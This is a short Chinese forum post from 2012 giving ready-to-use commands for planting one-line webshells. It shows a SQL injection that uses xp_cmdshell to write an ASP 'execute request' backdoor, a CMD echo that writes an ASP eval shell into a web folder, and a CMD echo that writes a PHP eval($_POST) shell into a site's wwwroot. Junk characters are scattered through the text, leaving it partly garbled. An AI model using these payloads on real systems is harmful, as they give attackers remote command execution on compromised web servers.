用^转义字符来写ASP(一句话木马)文件的方法:
: c9 S4 K% p! U( D" D1 C% B1 _8 E0 i8 h- f/ e' {
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--8 w8 P9 l! z8 W. X' p
8 W& |/ e0 q m4 K! X3 y- c2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp# u$ _1 Y J( J9 f/ w3 n
: m: ~& J. v. \7 ^8 d
# |6 {" Q4 [0 \) L! Y
PHP1 C/ [2 a9 r0 m& Y) E& i/ W
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对